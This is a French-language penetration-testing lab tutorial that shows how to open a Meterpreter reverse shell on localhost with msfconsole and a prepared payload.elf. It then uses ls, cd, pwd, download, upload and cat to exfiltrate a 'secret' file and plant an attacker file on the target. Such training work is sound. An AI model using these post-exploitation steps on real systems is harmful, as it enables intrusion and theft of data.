Introduction
Dans ce laboratoire, vous apprendrez les techniques fondamentales pour interagir avec le système de fichiers d'une cible en utilisant Meterpreter, une charge utile avancée qui fait partie du Metasploit Framework. La post-exploitation est une phase critique d'un test d'intrusion, et la capacité à naviguer dans le système de fichiers, à télécharger des fichiers sensibles et à téléverser vos propres outils ou scripts est une compétence essentielle.
Nous allons parcourir le processus d'établissement d'une session Meterpreter, puis utiliser des commandes de base telles que ls, cd, download, upload et cat pour explorer et manipuler les fichiers sur le système compromis.
Lister les fichiers et répertoires avec la commande ls
Dans cette étape, nous allons d'abord établir une session Meterpreter, puis utiliser la commande ls pour lister les fichiers sur le système cible. Notre script de configuration a déjà créé une charge utile (payload.elf) et un fichier de configuration d'écoute (listener.rc).
Tout d'abord, lançons l'écoute Metasploit. Elle attendra une connexion entrante de la charge utile. Nous utilisons l'indicateur -r pour charger notre fichier de ressources, ce qui automatise la configuration.
Ouvrez un terminal et exécutez la commande suivante :
msfconsole -r listener.rc
Vous verrez la console Metasploit démarrer, et le gestionnaire s'exécutera en tant que tâche d'arrière-plan. La sortie ressemblera à ceci :
[*] Msfconsole tip: Use the resource command to run a script of
console commands.
...
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
msf6 >
Maintenant, nous devons exécuter la charge utile pour nous connecter à notre écoute. Ouvrez un nouveau terminal en cliquant sur l'icône "+" dans la barre d'onglets du terminal. Dans ce nouveau terminal, exécutez le fichier de charge utile situé dans votre répertoire ~/project.
./payload.elf
Cette commande ne produira aucune sortie. Revenez à votre premier terminal (celui qui exécute msfconsole). Vous devriez voir un message indiquant qu'une session a été ouverte.
[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Note : Si vous n'êtes pas automatiquement placé dans la session, vous pouvez lister les sessions actives avec
sessionset interagir avec une session en utilisantsessions -i <ID>, par exemple,sessions -i 1.
Vous êtes maintenant dans une session Meterpreter, indiquée par l'invite meterpreter >. Toute commande que vous tapez ici est exécutée sur la machine cible. Utilisons la commande ls pour lister les fichiers dans le répertoire courant de la cible.
ls
Ceci listera les fichiers et répertoires dans le répertoire de travail courant de la cible.
meterpreter > ls
Listing: /home/labex/project
============================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100755/rwxr-xr-x 10152 fil rwx/- payload.elf
100644/rw-r--r-- 100 fil rw-/- listener.rc
Changer de répertoire avec la commande cd
Dans cette étape, vous apprendrez à naviguer dans le système de fichiers de la cible en utilisant la commande cd (change directory) dans Meterpreter. Cela fonctionne de la même manière que la commande standard cd sous Linux.
Notre script de configuration a créé un répertoire à l'emplacement /tmp/victim_files sur le système cible. Naviguons dans le répertoire /tmp.
cd /tmp
La commande elle-même ne produit aucune sortie. Pour confirmer que nous avons changé de répertoire, nous pouvons utiliser la commande pwd (print working directory).
pwd
La sortie affichera votre répertoire actuel sur la machine cible.
meterpreter > pwd
/tmp
Maintenant que nous sommes dans le répertoire /tmp, listons son contenu avec ls pour trouver le répertoire victim_files.
ls
Vous devriez voir le répertoire victim_files parmi les autres fichiers et répertoires dans /tmp.
meterpreter > ls
Listing: /tmp
============
Mode Size Type Perms Name
---- ---- ---- ----- ----
...
40777/rwxrwxrwx 4096 dir rwx/- victim_files
...
Télécharger un fichier depuis la cible avec la commande download
Dans cette étape, nous allons télécharger un fichier du système cible vers notre propre machine. C'est une technique cruciale pour l'exfiltration de données. Nous utiliserons la commande download.
Tout d'abord, naviguons dans le répertoire victim_files que nous avons trouvé à l'étape précédente.
cd victim_files
Maintenant, listons les fichiers de ce répertoire pour trouver notre fichier cible.
ls
Vous verrez le fichier secret_notes.txt qui a été créé par le script de configuration.
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
Maintenant, téléchargeons ce fichier dans notre répertoire local ~/project. La syntaxe est download <fichier_sur_cible>. Par défaut, il sera téléchargé dans votre répertoire local actuel.
download secret_notes.txt
Vous devriez voir un message de confirmation indiquant que le téléchargement a réussi.
[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt
Pour vérifier, vous pouvez ouvrir un nouveau terminal (ou utiliser le second que vous avez ouvert précédemment) et lister les fichiers dans votre répertoire ~/project sur votre machine locale.
ls ~/project
Vous devriez maintenant voir secret_notes.txt dans la liste des fichiers.
Téléverser un fichier sur la cible avec la commande upload
Dans cette étape, vous apprendrez à téléverser un fichier de votre machine vers le système cible en utilisant la commande upload. Ceci est utile pour placer des outils, des scripts ou d'autres charges utiles sur la cible.
Tout d'abord, nous avons besoin d'un fichier sur notre machine locale à téléverser. Créons-en un. Dans votre terminal shell local (pas la session Meterpreter), exécutez la commande suivante pour créer un fichier nommé attacker_file.txt.
echo "attacker data" > ~/project/attacker_file.txt
Maintenant, revenez à votre session Meterpreter. Vous devriez toujours être dans le répertoire /tmp/victim_files sur la cible. Nous allons téléverser attacker_file.txt depuis notre répertoire local ~/project vers le répertoire actuel de la cible.
La syntaxe est upload <chemin_fichier_local>.
upload /home/labex/project/attacker_file.txt
Vous verrez une confirmation que le téléversement a réussi.
[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt
Pour confirmer que le fichier est sur la cible, exécutez ls dans votre session Meterpreter.
ls
Vous devriez maintenant voir à la fois secret_notes.txt et votre attacker_file.txt nouvellement téléversé.
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 14 fil rw-/- attacker_file.txt
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
Afficher le contenu d'un fichier texte avec la commande cat
Dans cette dernière étape, nous utiliserons la commande cat dans Meterpreter pour afficher le contenu des fichiers directement sur le système de fichiers de la cible sans avoir à les télécharger au préalable.
Vous devriez toujours être dans le répertoire /tmp/victim_files sur la cible au sein de votre session Meterpreter.
Tout d'abord, affichons le contenu du fichier d'origine, secret_notes.txt.
cat secret_notes.txt
La commande affichera le contenu du fichier directement sur votre console.
meterpreter > cat secret_notes.txt
This is a secret file from the target.
Ensuite, affichons le contenu du fichier que nous avons téléversé, attacker_file.txt, pour confirmer qu'il a été transféré correctement.
cat attacker_file.txt
Vous devriez voir le texte que nous avons créé sur notre machine locale.
meterpreter > cat attacker_file.txt
attacker data
Cette commande est extrêmement utile pour inspecter rapidement les fichiers de configuration, les journaux (logs) ou les scripts sur le système cible.
Résumé
Félicitations pour avoir terminé ce laboratoire ! Vous avez appris les commandes Meterpreter essentielles pour interagir avec le système de fichiers d'une cible.
Vous avez réussi à établir une session Meterpreter et vous avez pratiqué les commandes clés suivantes en post-exploitation :
ls: Pour lister les fichiers et répertoires.cd: Pour naviguer dans le système de fichiers.pwd: Pour identifier le répertoire de travail actuel.download: Pour exfiltrer des fichiers de la cible vers votre machine.upload: Pour placer des fichiers de votre machine sur la cible.cat: Pour afficher le contenu des fichiers texte directement sur la cible.
La maîtrise de ces commandes est une étape fondamentale pour devenir compétent avec le Metasploit Framework et effectuer des tests d'intrusion efficaces.


